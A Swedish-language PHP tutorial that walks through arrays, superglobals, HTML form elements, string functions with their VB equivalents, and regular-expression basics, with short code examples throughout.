# kör en av funktionerna vars namn fanns i arrayen
$formateringar[$nummer]("Hur kommer tro detta");
# OBS! Ovanstående fungerar bara med egendefinierade funktioner
# man kan således inte skriva
# $minFunktion = "print";
# eftersom print är en inbyggd PHP funktion
?>
En sak som tydligt skiljer mellan VB-programmerare och t.ex. Java-programmerare är synen på Arrays. Medan VB programmeraren får någonting skärrat i blicken av arrays, så säger Java-programmeraren: "Varför arrays? Varför inte länkade listor, stackar, köer och vektorer?"
En orsak till att VB-programmerare inte tycker om arrays kan vara att arrays är rätt simpla och oanvändbara i VB. Så är inte fallet i PHP, där arrays är mycket kraftfullare.
Jag visar här några smakprov på vad som går
att göra. För mer information se array
Det är oerhört enkelt att skapa en array och lägga in data i denna. Se nedanstående exempel:
<?php
# anger man inte index, så börjar PHP från 0
# och ökar med ett varje gång
$namn[] = "Kalle";
$namn[] = "Ville";
$namn[] = "Anna";
$namn[] = "Eva";
# visa tredje namnet
echo $namn[2] . "<br><br>";
# man kan nöja sig med att ge det första talet
# anger man inte resten så räknas de upp automatiskt
$mera[100] = "Kalle";
$mera[] = "Ville";
$mera[] = "Anna";
$mera[] = "Eva";
# loopa genom hela arrayen
foreach( $mera as $index => $värde )
{
echo "\$mera[$index] = $värde <br>";
}
?>
Ovanstående gör samma sak som:
<?php
# man kan även ange index
$namn[ 0 ] = "Kalle";
$namn[ 1 ] = "Ville";
$namn[ 2 ] = "Anna";
$namn[ 3 ] = "Eva";
# visa tredje namnet
echo $namn[2];
?>
Man måste inte använda 0,1,2,3 som index. En array kan även indexeras med textsträngar. Man får då en dictionary (även kallad hash eller associative array) - en mycket användbar datastruktur. Använder man inte numerisk indexering så finns funktionen foreach till vår hjälp
<?php
# man kan även ange index
$person[ "förnamn" ] = "Kalle";
$person[ "efternamn" ] = "Kalle";
$person[ "adress" ] = "Bortavägen";
$person[ "telefon" ] = "1234 567";
# visa adressen
echo $person[ "adress" ] . "<br>";
# visa allt
foreach ( $person as $fält => $uppgift )
{
echo "$fält är $uppgift<br>";
}
?>
Man kan även använda funktionen array för att skapa en array:
<?php
# 1=> betyder att arrayen skall börja med 1
# och sedan räkna uppåt
$månader = array(
1=>"Januari", "Februari", "Mars",
"April", "Maj", "Juni", "Juli",
"Augusti", "September", "Oktober",
"November", "December"
);
# visa en månad
echo "Den sjätte månaden är $månader[6] <br><br>";
# visa allt
foreach ( $månader as $nummer => $namn )
{
echo "Månad nummer <i>$nummer</i> heter <i>$namn</i><br>";
}
?>
Ingenting säger att en array bara kan indexeras med heltal eller bara med strängar. Man kan även kombinera dessa. Se nedanstående program:
<?php
# 1=> betyder att arrayen skall börja med 1
# och sedan räkna uppåt. Den däknar tills den
# stöter på något annat. I detta fall "Jan"=>
$månader = array(
1=>"Januari", "Februari", "Mars",
"April", "Maj", "Juni", "Juli",
"Augusti", "September", "Oktober",
"November", "December",
"Jan"=>"Januari", "Feb"=>"Februari", "Mar"=>"Mars",
"Apr"=>"April", "May"=>"Maj", "Jun"=>"Juni", "Jul"=>"Juli",
"Aug"=>"Augusti", "Sep"=>"September", "Oct"=>"Oktober",
"Nov"=>"November", "Dec"=>"December",
);
# visa en månad
echo "Den sjätte månaden är $månader[6] <br><br>";
# visa en månad
echo "Sep heter egenligen ". $månader["Sep"] ."<br><br>";
# visa allt
foreach ( $månader as $värde => $namn )
{
if ( is_integer( $värde ) )
{
echo "Månad nummer <i>$värde</i> heter <i>$namn</i><br>";
}
else
{
echo "<i>$värde</i> heter egentligen <i>$namn</i><br>";
}
}
?>
<?php
# skapa en 10*10 array med multiplikationstabellen
for ( $rad = 1; $rad <= 10; $rad++)
{
for ( $kolumn = 1; $kolumn <= 10; $kolumn++ )
{
$multi[ $rad ][ $kolumn ] = $rad * $kolumn;
}
}
# visa ett värde
echo "5*7= {$multi[5][7]}<br>";
# detta kommer inte att fungera eftersom {} behövs
echo "5*7= $multi[5][7]<br>";
# detta funkar dock
echo "7*6= " . $multi[7][6] . "<br>";
?>
En Array kan innehålla nästan vad som helst; även andra arrays.
Teckensträngar kan även hanteras som arrays.
<?php
# teckensträngar kan hanteras som arrays
$namn[] = "Anders";
$namn[] = "Fredrik";
$namn[] = "Eva";
$namn[] = "Jonas";
echo $namn[1][3]; # kommer att ge ett "d"
?>
PHP har en stor mängd "färdiga" arrays med värden som kan vara av intresse. Tyvärr har det skett en del förändringar den senaste tiden, mest på grund av skärpt säkerhet.
Om det i PHP´s konfigureringsfil finns raden:
(kan kollas med phpinfo() funktionen) kan man slippa åt nästan alla variabler med följande kod:
<?php
# kommer inte att funka på min server
# alternativ1
echo $HTTP_USER_AGENT;
# alternativ2
echo $GLOBALS["HTTP_USER_AGENT"];
?>
Men från och med PHP version 4.0.6 skall man helst inte använda GLOBALS!
_SERVER arrayen innehåller allmän information om servern och dess miljö. Av intresse kan t.ex. PHP_SELF vara. Denna innehåller nuvarande fils path.
Man kan kontrollera om det finns ett värde med isset funktionen (se isset.php)
OBS! Beroende på version och konfiguration kan _SERVER även heta HTTP_SERVER_VARS. Du måste kolla med phpinfo() funktionen.
<?php
# visa alla _SERVER variabler
echo "<table width=\"482\" style=\"font-family:verdana,arial\">";
echo "<tr><td><font size=\"1\"><b>Namn</b></td>";
echo "<td><font size=\"1\"><b>Värde</b></td></tr>";
foreach( $_SERVER as $key=>$value)
{
echo "<tr><td valign=\2top\"><font size=\"2\">";
echo "\$_SERVER[\"" ;
echo $key ;
echo "\"]";
echo "</font></td><td><font size=\"2\">";
echo $value ;
echo "</font></td></tr>\n";
}
echo "</table>";
?>
_COOKIE arrayen innehåller information om cookies.
Man kan kontrollera om det finns ett värde med isset funktionen (se isset.php)
Klicka här för att sätta en cookie till (kräver Javascript)
OBS! I version 4.0.6 finns inte _COOKIE utan du måste använda HTTP_COOKIE_VARS. Du måste kolla med phpinfo() funktionen.
<?php
# visa alla _COOKIE variabler
echo "<table>";
echo "<tr><td><font size=\"1\"><b>Namn</b></td>";
echo "<td><font size=\"1\"><b>Värde</b></td></tr>";
foreach( $_COOKIE as $key=>$value)
{
echo "<tr><td valign=\"top\"><font size=\"1\">";
echo "\$_COOKIE[\"";
echo $key ;
echo "\"]" ;
echo "</font> </td><td><font size=\"1\">";
echo $value ;
echo "</font></td></tr>\n";
}
echo "</table>";
?>
Namn | Värde |
_GET arrayen innehåller information om URL parametrar.
Man kan kontrollera om det finns ett värde med isset funktionen (se isset.php)
Klicka här för att sätta URL parametrar (ta en titt på adressraden efteråt)
OBS! Beroende på version och konfiguration kan _GET även heta HTTP_GET_VARS. Du måste kolla med phpinfo() funktionen.
<?php
# visa alla _GET variabler
echo "<table>";
echo "<tr><td><font size=\"1\"><b>Namn</b></td>";
echo "<td><font size=\"1\"><b>Värde</b></td></tr>";
foreach( $_GET as $key=>$value)
{
echo "<tr><td><font size=\"1\">";
echo "\$_GET[\"" ;
echo $key ;
echo "\"]" ;
echo "</font> </td><td><font size=\"1\">" ;
echo $value ;
echo "</font></td></tr>\n";
}
echo "</table>";
?>
Namn | Värde |
_POST arrayen innehåller information om URL parametrar. Fyll i formuläret nedan för att få en form post utförd
Man kan kontrollera om det finns ett värde med isset funktionen (se isset.php)
OBS! Beroende på version och konfiguration kan _POST även heta HTTP_POST_VARS. Du måste kolla med phpinfo() funktionen. (Skapa en sida med en form som har sidan med phpinfo() som action)
<?php
# visa alla _POST variabler
echo "<table>";
echo "<tr><td><font size=\"1\"><b>Namn</b></td>";
echo "<td><font size=\"1\"><b>Värde</b></td></tr>";
foreach( $_POST as $key=>$value)
{
echo "<tr><td valign=\2top\"><font size=\"1\">";
echo "\$_POST[\"" ;
echo $key ;
echo "\"]" ;
echo "</font></td><td><font size=\"1\">";
echo $value ;
echo "</font></td></tr>\n";
}
echo "</table>";
?>
Namn | Värde |
_SESSION arrayen innehåller information om session variabler. Dessa gäller för alla sidor i siten under nuvarande session. De töms när man surfar bort eller stänger browsern.
Man kan kontrollera om det finns ett värde med isset funktionen (se isset.php)
OBS! Beroende på version och konfiguration kan _SESSION även heta HTTP_SESSION_VARS. Du måste kolla med phpinfo() funktionen.
För att få nedanstående kod att fungera, måste
du antingen ha
session.auto_start = 1 i php.ini
eller skriva
<?php session_start(); ?>
i början av sidan.
Se även till att session.save_path i ini filen pekar mot en giltig katalog (Den är /tmp som default i vissa installationer och denna katalog brukar inte finnas i Windows).
<?php
# se till att skriva session_start() i början av filen
$_SESSION["TESTA"] = "Klockan är nu " . date("h:m:s");
# visa alla _SESSION variabler
echo "<table>";
echo "<tr><td><font size=\"1\"><b>Namn</b></td>";
echo "<td><font size=\"1\"><b>Värde</b></td></tr>";
foreach( $_SESSION as $key=>$value)
{
echo "<tr><td valign=\2top\"><font size=\"1\">" ;
echo "\$_SESSION[\"" ;
echo $key ;
echo "\"]" ;
echo "</font></td><td><font size=\"1\">" ;
echo $value ;
echo "</font></td></tr>\n";
}
echo "</table>";
?>
Namn | Värde |
$_SESSION["counted"] | 2194 |
$_SESSION["TESTA"] | Klockan är nu 11:11:20 |
Visa en annan sida som visar samma session variabels värde
_ENV arrayen innehåller information om "environment" variabler.
Man kan kontrollera om det finns ett värde med isset funktionen (se isset.php)
OBS! Beroende på version och konfiguration kan _ENV även
heta HTTP_ENV_VARS. Du måste kolla med
phpinfo() funktionen. Om det i php.ini finns raden:
variables_order = "GPCS" så kommer inte _ENV
att användas. Använd i så fall getenv funktionen. Genom att ändra till variables_order
= "EGPCS" kommer _ENV att användas, men prestanda
blir sämre.
<?php
# visa alla _ENV variabler
echo "<table>";
echo "<tr><td><font size=\"1\"><b>Namn</b></td>";
echo "<td><font size=\"1\"><b>Värde</b></td></tr>";
foreach( $_ENV as $key=>$value)
{
echo "<tr><td valign=\"top\"><font size=\"1\">";
echo "\$_ENV[\"";
echo $key ;
echo "\"]" ;
echo "</font> </td><td><font size=\"1\">";
echo $value ;
echo "</font></td></tr>\n";
}
echo "</table>";
?>
_REQUEST arrayen sammanfattar _GET, _POST och _COOKIE.
OBS! Endast PHP 4.1.0 och nyare
Man kan kontrollera om det finns ett värde med isset funktionen (se isset.php)
Klicka här för att sätta en cookie till (kräver Javascript)
Klicka här för att sätta URL parametrar (ta en titt på adressraden efteråt)
<?php
# visa alla _REQUEST variabler
echo "<table>";
echo "<tr><td><font size=\"1\"><b>Namn</b></td>";
echo "<td><font size=\"1\"><b>Värde</b></td></tr>";
foreach( $_REQUEST as $key=>$value)
{
echo "<tr><td valign=\"top\"><font size=\"1\">";
echo "\$_REQUEST[\"";
echo $key ;
echo "\"]" ;
echo "</font> </td><td><font size=\"1\">";
echo $value ;
echo "</font></td></tr>\n";
}
echo "</table>";
?>
Namn | Värde |
Det finns i praktiken bara två olika metoder för användaren att ge indata till ett PHP-program:
Bägge metoderna hanteras på samma sätt, eftersom formar (med GET) lägger datat via adressraden
För form-taggen finns det några viktiga attribut: method och action
Det finns två olika metoder att sända data från en
form: GET (default) och POST.
Dessa anges med method attributet för formen.
Prova nedanstående formar.
<form name="first" method="GET">
<input type="text" name="texten" size="40">
<br />
<input type="submit" value="prova get">
</form>
<form name="second" method="POST">
<input type="text" name="texten" size="40">
<br />
<input type="submit" value="prova post">
</form>
Om man inte anger action så kommer formdatat att sändas till samma sida som man hade formen på. Om man vill att datat skall sändas till en annan sida som gör någonting av detta. Se (och prova) nedan:
<form name="first" action="./samples/test_form.php" target="ny">
<input type="text" name="texten" size="40">
<br />
<input type="submit" value="prova action">
</form>
För textinmatning finns det tre olika typer av formkomponenter text, password och textarea
<form>
<input
type="text"
name="texten"
size="40"
value="Finns redan"
maxlength="40"
title="Mata in ett namn tack"
tabindex="2"
accesskey="N"
>
<br />
<input type="submit" value="prova">
</form>
Syntax:
<input type="text"
name="namnet"
value="innehållet"
size="storleken"
maxlength="max antal tecken"
tabindex="tabindex"
accesskey="Alt+detta tecken kommer att välja"
autocomplete="on eller off"
>
Autocomplete gäller nyare MSIE, och avgör om browserns skall föreslå text eller inte.
För MSIE 5.01 och nyare kan man sätta tabindex till ett negativt tal. Då kommer man inte att kunna hoppa till textboxen med hjälp av tabulator. Maxlength är mycket användbart om man vill sätta datat till en databas med fast fältlängd.
input type="password" gör samma sak som en textbox, men det visas bara stjärnor när man skriver in något. Observera att om GET metoden används för formar kommer lösenordet att finnas i klartext i adressraden. (prova genom att skriva in någonting i lösenordsboxen och tryck sedan på enter)
<form>
<input
type="password"
name="losen"
size="40"
maxlength="40"
title="Mata in ett lösenord tack"
tabindex="2"
accesskey="P"
>
<br />
<input type="submit" value="prova">
</form>
Vill man ha flerradiga textboxar används en annan komponent: textarea
<form>
<textarea
name="en_text"
cols="40"
rows="4"
title="En text tack"
accesskey="T"
wrap="soft"
>Detta finns färdigt i textarean
</textarea>
<br />
<input type="submit" value="prova">
</form>
cols bestämmer bredden och rows höjden.
För wrap gäller följande:
soft (default i IE): Texarena byter rad automatiskt men datat sänds utan radbyten.
hard: textarean byter rad automatiskt och radbytena sänds med
off: inga automatiska radbyten.
För checkboxar används input type="checkbox". Även om jag inte visar dem i dessa exempel så finns accesskey och title även för dessa - se input.php
<form>
<input type="checkbox"
name="check1"
> helt vanlig text
<br />
<input type="checkbox"
name="check1"
checked="true"
value="JoTack"
> helt vanlig text igen
<br />
<input type="submit" value="prova">
</form>
checkboxarna skall ha namn och man kan "kruxa i dem färdigt" med checked="true" (eller bara checked) Om man inte anger value så kommer on att sändas om nam valt denna checkbox. Observera att det inte sänds något om inte checkboxen inte är vald.
Radioknappar (optionbuttons). Knappar med samma namn fungerar som en grupp. I nedanstående exempel finns det två knappar med namet radio1, och två knappar med namnet radio2.
<form>
<input type="radio" name="radio1" value="JA">
Jo jag vill
<br />
<input type="radio" name="radio1" checked="true" value="NEJ">
Helt vanlig text igen
<br />
<input type="radio" name="radio2" value="JEP">
en annan radio grupp
<br />
<input type="radio" name="radio2" value="NIX">
en annan radio grupp
<br />
<input type="submit" value="prova">
</form>
För att få listboxar eller comboboxar används samma html-element: select i kombination med option.
<form>
<select name="listboxen">
<option value="första">Min första rad</option>
<option value="andra">Min andra rad</option>
<option value="tredje" selected="true">Min tredje rad</option>
</select>
<br />
<input type="submit" value="prova">
</form>
Det enda som skiljer en listbox från en combobox är storleken, se nedan:
<form>
<select name="listboxen" size="4">
<option value="första">Min första rad</option>
<option value="andra">Min andra rad</option>
<option selected="true">Min tredje rad</option>
</select>
<br />
<input type="submit" value="prova">
</form>
Om vi inte anger value egenskapen kommer det att sändas det som fanns som data i options taggen. Prova genom att välja lite olika alternativ i listboxen ovan och klicka på "prova" knappen.
Observera att select/option lämpar sig utmärkt för programmering
<?php
# även om det går att koppla på och av php med jämna mellanrun
# så rekommenderar jag att ni genererar html koden med
# PHP, eftersom er webeditor kommer att bli lite förvirrad av
# html och php lite om vartannat
# fyll en array med personer
$personer[100] = "Anna";
$personer[ ] = "Ville";
$personer[ ] = "Karin";
$personer[ ] = "Pelle";
$personer[ ] = "Putte";
$personer[ ] = "Eulalia";
echo "<form>";
echo '<select name="personerna">';
foreach($personer as $id=>$namn)
{
echo "<option value=\"$id\"";
# kolla om formen är "subittad" och vilken person som var vald
# välj denna person
if ( isset( $_GET["personerna"] ) and $_GET["personerna"] == $id )
{
echo "selected=\"true\"";
}
echo ">$namn</option>";
}
echo '</select>';
echo "<br />";
echo '<input type="submit" value="prova">';
echo "</form>";
?>
Det finns tre typer av knappar: submit, reset och image (som fungerar som en submit men använder en bild istället) Prova nedanstående form.
<!-- en form med alla knapptyper -->
<form>
<input type="text" name="texten" size="40">
<br />
<input type="submit" value="prova">
<br />
<input type="reset" value="ångra">
<br />
<input type="image" src="./images/prev.gif">
</form>
Motsvarigheten till en OK knapp i standard windowsmiljö heter submit. I likhet med OK så kommer enter att välja denna knapp.
reset har lite samma uppgift som esc / cancel i windows. Den återställer värdena till de som de var när sidan laddades.
image fungerar som en submit, men skall ha ett src som hänvisar till en bild. Den kommer dessutom att sända x och y koordinaterna för den punkt man klickade på.
En mycket användbar finess är gömda formelement. Dessa är användbara för både konfigurerning som programmering. Genom att direkt eller programmatiskt se till att gömda input formelemlement har vissa värden, så ser man till att dessa sänds med när man "submittar" formen. Se nedanstående exempel:
<?php
# sänder inget mail men visar här datat
# enklaste sättet att kolla om datat är "submittat"
# är att ha ett namn på submitknappen och kolla om
# det är satt
if ( isset ($_REQUEST["send"] ) )
{
echo "Subject: " . $_REQUEST["subject"] . "<br />";
echo "Body: " . $_REQUEST["body"] . "<br />";
echo "To: " . $_REQUEST["to"] . "<br />";
echo "From_page: " . $_REQUEST["from_page"] . "<br />";
}
?>
Här kan du sända mail till mig<br />
<form action="input_hidden.php" method="POST">
Ärende: <br />
<input type="text" name="subject"><br />
Text:<br />
<textarea name="body" cols="40" rows="6"></textarea>
<br />
<input type="submit" value="sänd" name="send">
<input type="hidden" name="to" value="min.maiadress@firma.com">
<input type="hidden" name="from_page"
value="<?php echo $_SERVER["PHP_SELF"]; ?>">
</form>
Alla som programmerat i VB vet att mycket av programmeringen går ut på stränghantering. Vi söker i strängar, skarvar ihop strängar och plockar ut delsträngar. Det finns en hel del strängfunktioner i PHP.
Nedan är en "konverteringstabell" från VB till PHP för de vanligaste stränghanteringsfunktionerna.
VB | PHP |
Asc | ord |
Chr | chr |
Format | Finns ingen direkt motsvarighet. Se funktionerna för nummer och datum |
InStr | strpos |
Lcase | strtolower |
Left | substr |
Len | strlen |
LTrim | ltrim |
Mid | substr |
Replace | str_replace |
Right | substr |
RTrim | rtrim (eller chop - samma sak) |
Space | Ingen direkt motsvarighet. Använd str_pad |
StrComp | strcmp |
String | Ingen direkt motsvarighet. Använd str_pad |
Trim | trim |
UCase | strtoupper |
Används för att få ASCII (ANSI) värdet av en sträng (tecken).
<?php
$sträng = "A";
echo "ASCII värdet av $sträng är " . ord($sträng) . "<br>";
$sträng = "Anders";
echo "ASCII värdet av $sträng är " . ord($sträng) . "<br>";
?>
Används för att få tecknet för en viss ASCII (ANSI) kod.
<?php
$siffra = 72;
echo "Tecknet för ASCII värdet $siffra är " . chr($siffra) . "<br>";
?>
Används för att söka delsträngar ur en sträng
<?php
# syntax
# string substr (string string, int start [, int length])
$sträng = "abcdef";
echo "Strängen är \"$sträng\"<br>";
echo "substr(\$sträng,2) ger " . substr($sträng,2) . "<br>";
echo "substr(\$sträng,2,3) ger " . substr($sträng,2,3) . "<br>";
echo "substr(\$sträng,0,3) ger " . substr($sträng,0,3) . "<br>";
# negativ startvärde ger right liknande resultat
echo "substr(\$sträng,-1) ger " . substr($sträng,-1) . "<br>";
echo "substr(\$sträng,-3) ger " . substr($sträng,-3) . "<br>";
?>
Ger index för en sökt delsträng. strpos söker från början, strrpos från slutet
<?php
# strpos
# string strpos (string haystack, string needle)
$sträng = "abcdef";
echo "Strängen är \"$sträng\"<br>";
echo "strpos(\$sträng,\"cd\") ger " . strpos($sträng,"cd") . "<br>";
echo "strpos(\$sträng,\"e\") ger " . strpos($sträng,"e") . "<br>";
echo "strpos(\$sträng,\"a\") ger " . strpos($sträng,"a") . "<br>";
echo "strpos(\$sträng,\"x\") ger " . strpos($sträng,"x") . "<br>";
# för att kolla om den
$pos = strpos($sträng,"x");
if ( $pos == false )
{
echo "Hittade inget x<br>";
}
# strrpos
# string strrpos (string haystack, string needle)
# söker bakifrån
$sträng = "abcdefabcdef";
echo "strrpos(\$sträng,\"a\") ger " . strrpos($sträng,"a") . "<br>";
?>
Sätter alla tecken i en sträng till små bokstäver (strtolower), stora bokstäver (strtoupper) , sätter första tecken i strängen till stor bokstav (ucfirst) sätter första tecknet i varje ord till stor bokstav (ucwords)
<?php
# strtolower
# string strtolower (string)
$sträng = "En testSTRäng";
echo "Strängen är \"$sträng\"<br><br>";
echo "strtolower(\$sträng) ger " . strtolower($sträng) . "<br>";
echo "<br>";
# strtoupper
# string strtoupper (string)
echo "strtoupper(\$sträng) ger " . strtoupper($sträng) . "<br>";
echo "<br>";
# ucfirst
# string ucfirst (string)
echo "ucfirst(\$sträng) ger " . ucfirst($sträng) . "<br>";
echo "ucfirst(strtolower(\$sträng)) ger "
. ucfirst(strtolower($sträng)) . "<br>";
echo "<br>";
# ucwords
# string ucwords (string)
echo "ucwords(\$sträng) ger " . ucwords($sträng) . "<br>";
echo "ucwords(strtolower(\$sträng)) ger "
. ucwords(strtolower($sträng)) . "<br>";
?>
Ger längden av en sträng.
<?php
# strlen
# int strlen (string)
$sträng = "En testSTRäng";
echo "Strängen är \"$sträng\"<br>";
echo "strlen(\$sträng) ger " . strlen($sträng) . "<br>";
?>
Tar bort extra mellanslag i början, slutet eller både början och slutet.
<?php
$sträng = " en sträng ";
echo "<pre>"; # måste sätta pre så att mellanslagen syns
echo "Strängen är \"$sträng\"<br>";
echo "ltrim(\$sträng) ger \"" . ltrim($sträng) . "\"<br>";
echo "rtrim(\$sträng) ger \"" . rtrim($sträng) . "\"<br>";
echo "trim(\$sträng) ger \"" . trim($sträng) . "\"<br>";
# ett alias för rtrim är chop
echo "chop(\$sträng) ger \"" . chop($sträng) . "\"<br>";
echo "</pre>";
?>
Strängen är " en sträng "
ltrim($sträng) ger "en sträng "
rtrim($sträng) ger " en sträng"
trim($sträng) ger "en sträng"
chop($sträng) ger " en sträng"
Jämför strängar. strcasecmp beaktar a och A som samma bokstav (case-insensitive)
<?php
# bägge funktionerna returnerar:
# 0 om strängarna var lika
# < 0 om den första strängen var mindre
# > 0 om den första strängen var större
# observera att detta inte nödvändigtvis betyder att de
# returnerar -1, 0 och 1 utan jämför uttryckligen med mindre
# än 0 eller större än 0
$var1 = "Hello";
$var2 = "hello";
if ( 0 == strcmp($var1, $var2))
{
echo '$var1 är lika med $var2 enligt strcmp<br>';
}
if ( 0 == strcasecmp($var1, $var2))
{
echo '$var1 är lika med $var2 enligt strcasecmp<br>';
}
# eftersom false är definierat till 0
# och true till allt annat kan du inte
# jämföra på följande sätt
if ( strcasecmp($var1, $var2 ) )
{
echo '$var1 är lika med $var2 enligt strcasecmp<br>';
}
# däremot funkar följande men det blir en "konstig"
# programlogik - jämför alltid med 0
if ( !strcasecmp($var1, $var2 ) )
{
echo '$var1 är lika med $var2 enligt strcasecmp<br>';
}
?>
Byter ut alla förekomster av en delsträng till annan.
<?php
$orginal = "Alla är så glada, så glada";
$sök = "glada";
$ersätt = "sura";
# Observera att ordningsföljden inte
# är densamma som i VB
echo str_replace( $sök, $ersätt, $orginal );
?>
<?php
$text = str_pad(" ", 10); # som VB:s Space(10);
echo "<pre>|" . $text . "|</pre>";
$sträng = "ABC";
echo str_pad($sträng, 10 , "_") . "<br />";
echo str_pad($sträng, 10 , "_", STR_PAD_LEFT) . "<br />";
echo str_pad($sträng, 10 , "_", STR_PAD_RIGHT) . "<br />";
echo str_pad($sträng, 10 , "_", STR_PAD_BOTH) . "<br />";
?>
| |ABC_______
Svänger om texten i strängen
<?php
$texten = "abcdefg";
# texten okonverterad
echo "Orginal: " . $texten;
echo "<br>";
# texten omvsvängs
echo "Efter strrev: " . strrev($texten);
?>
Används för att se till att en HTML text inte tolkas som HTML, utan istället för t.ex. < sätts det in <. htmlentities konverterar allt, medan htmlspecialchars bara kodar &, ", < och >
<?php
$texten = "En text med &, \", < <b>bold</b> och <br>";
# texten okonverterad
echo $texten;
echo "<br>";
# texten konverterad
echo htmlentities($texten);
echo "<br>";
# eftersom browsern kommer att visa & som &
# så kör jag konverteringen två gånger
# för att får se det "riktiga" resultatet
# i browsern
# texten konverterad
echo htmlentities(htmlentities($texten));
?>
En funktion besläktad med htmlentities är strip_tags, men istället för att konvertera html koden så tas den bort helt och hållet:
<?php
$texten = "<b>bold</b>, en break <br>
och lite <font face=\"arial\">font</font>";
# texten okonverterad
echo $texten;
echo "<br>";
# texten konverterad
echo strip_tags($texten);
echo "<br>";
# för att verkligen visa att alla tags är borta så
# provar jag htmlentities
echo htmlentities(htmlentities(strip_tags($texten)));
?>
Byter ut radbyten till ktml-koden <br>
<?php
# \n är PHP:s sätta att sätta radbyten
$texten = "rad 1\nrad2\nrad3";
# texten okonverterad
echo "Orginal: $texten";
echo "<br>";
# texten konverterad
echo "Konverterad: " . nl2br($texten);
echo "<br>";
# för att visa vad som hänt så konverterar
# jag medhtmlentities
echo "Resultat: " . htmlentities(nl2br($texten));
?>
Ser till att datat går att sända via en URL. Används när du vill sätta data till adressraden. urlencode fungerar bara med text, medan rawurlencode även fungerar med binärt data. Motsatserna heter urldecode och rawurldecode.
<?php
# en text som innehåller tecken som
# har speciell betydels i URL:s
$texten = "Är du färdig & redo?";
# texten okonverterad
echo "Orginal: " . htmlentities($texten);
echo "<br>";
# texten konverterad
echo "Konverterad: " . urlencode($texten);
# Exemmpel. Observera att vissqa browser kan konvertera
# automatiskt, medan andra inte gör det
# ta en till på adressdaden i browsern
echo "<br>";
echo "<a href=\"strings_conv.php?texten=" .
$texten .
"&extra=JA#urlencode\">Okonverterad</a>";
echo "<br>";
echo "<a href=\"strings_conv.php?texten=" .
urlencode($texten) .
"&extra=JA#urlencode\">Konverterad</a>";
echo "<br>";
# en "ofarlig" text som inte innehåller specialtecken som
# har speciell betydels i URL:s
$texten = "allOk";
# texten okonverterad
echo "Orginal: $texten";
echo "<br>";
# texten konverterad
echo "Konverterad: " . urlencode($texten);
# visa värdena som sändes
if (isset($_GET["texten"]))
{
echo "<br>";
echo "texten = " . $_GET["texten"] . "<br>";
echo "extra = " . isset($_GET["extra"]) ? $_GET["extra"] : "" . "<br>";
}
?>
Vi har alla sökt i textsträngar efter delar. I VB använder vi då ofta mer eller mindre kreativa kombinationer av InStr och Mid. Istället kan man använda s.k. regular expressions (regexp) för sökningen.
Ett litet exempel:
Vi vill kolla om en e-mail adress är något så när korrekt skriven. Vi vet att en mailadress alltid måste bestå av ett namn, ett @-tecken samt att domännamnet alltid har en punkt i sig. Denna punkt måste finnas efter @-tecknet, men det kan även finnas flera punkter.
Några exempel på mailadresser
fornamn.efternamn@firma.fi
namn@corporation.com
a123456@avdelning.firma.nu
Istället för att börja söka efter punkter, @ och andra tecken kan man istället skapa en "pattern" som skall motsvara detta. En möjlig pattern kan vara:
^([\w\.]+)@(\w+\.[\w\.]+)$
Man vad betyder då detta, och hur har vi kommit fram till denna sträng?
I sin enklaste form är en regexp bara ett ord. Nedan några exempel:
"test"
Kommer att matcha texter som innehåller "test" men även "testa", "testar", "jag testar" mm.
"top ten"
Kommer att matcha texten "top ten", men även "stop tension"
. (punkt) har en speciell betydelse. Den matchar exakt ett tecken, vilket som helst. Detta gör att om man skriver:
"an.a"
så kommer detta att matcha bland annat "anna", men även "anka" samt "andas"
Om du uttryckligen vill söka efter en punkt så måste den citeras med \. Se nedanstånde exempel.
"3\.14" hittar 3.14
" 3.14" hiitar 3114, 3+14 mm. eftesom punkten betyder ett tecken
Matchar ett eller inget tecken. Exempel
"an?a"
Matchar "anna" och "anka" men även "ana". Matchar däremot inte "ankra" eftersom det var två tecken mellan n och a.
Matchar 0, 1 eller flera upprepningar av föregående tecken. Exempel:
"an*a"
Matchar "ana", "anna" och "annnnnnnnnnna" , men inte "anka" eftersom det inte är n som upprepas. Man kan kombinera metatecknen. Exempel:
"an.*a"
Kommer att matcha "ana", "anna" men även "antag att du är hemma" eftersom vi säger att det kan finnas 0 eller flera av vilket tecken som helst.
Som *, men tecknet måste finnas minst en gång. Se nedan:
"an.+a"
Kommer att matcha "anna", och "antillerna", men inte "ana" eftersom det inte kom något tecken mellan n och a
\d betyder en siffra 0 till 9. Följande är således möjligt:
"1\d"
Matchar "10", "11" ... "19", men inte "1a"
Genom att använda stor bokstav \D svänger man på betydelsen. \D betyder: inte en siffra.
"1\D"
Matchar "1A", "1+" ... "1Q", men inte "11" eler någun annan kombination som har en siffra efter 1:an
\w betyder en "normal bokstav", d.vs. inte %, ", &, mellanslag, tab, radbyte, o.dyl. \W (store W) betyder motsatsen: Följande är således möjligt:
"\w\W\w"
Matchar "a x", "Q<tabulator>a" och "1%2"
\s betyder ett mellanslag, tabulator eller radbyte ("white space"). Som vanligt svängs betydelsen om man använder stor bokstav, d.v.s \S betyder allt utom mellanslag, tab och radbyte.
"kalle\sanka"
matchar "kalle anka" men även "kalle<tabulator>anka", Matchar inte "kalle_anka"
Vill man vara på säkra sidan (det kan ju hända att någon slagit två mellanslag) skriver man: "kalle\s+anka" gör att säga att det kan vara ett eller flera mellanslag
\b beteckar ett ordbyte. \B betyder inte ordbyte.
"\bkalle"
matchar "kalle", "han heter kalle" och "kalleponken", men inte "bollkalle". \b skiljer sig från \s - som hittar "white space" - genom att \b även matchar början av strängen. "\skalle" kommer atta matcha "han heter kalle", men inte "kalleponken". Däremot matchar den " kalle". Såsom tidigare svängs betydelsen av stor bokstav.
"\Bkalle"
kommer att matcha "bollkalle" men inte "kalleponken"
Som komplement till +, ? och * kan man även använda följande syntax:
"an{2}a"
matchar "anna" efersom n{2} betyder att det måste vara exakt 2 n
"a.{2}a"
matchar "abba" och "anna" efersom .{2} betyder att det måste vara exakt 2 stycken bokstäver (motsvarar "a..a")
"a.{2,6}a"
matchar "abba" och "anna", men även "antaga" efersom .{2,6} betyder att det måste vara mellan 2 och 6 tecken
Antingen eller. Se nedanstående exempel:
"kalle|anka"
matchar "kalle" och "anka".
Intervall av tecken. Se nedanstående:
"1[3579]"
matchar "13", "15", "17" och "19" men inte "12"
"1[1-4]"
matchar "11", "12", "13" och "14" men inte "15"
Genom att sätta ^-tecken innanför [] svänger man om betydelsen:
"1[^1-4]"
matchar "1A", "15" men inte "11"
"1[^2345]"
gör att "12" ... "15" inte matchas
Innanför [] kan man inte sätta in andra metatecken och citering med \ är begränsat. De enda som är tillåtna att citera är \, [ och ].
"[\\\[\]]abc"
kommer att matcha alla strängar med fyra tecken som slutar med "abc" , och som börjar med \, [ eller ]
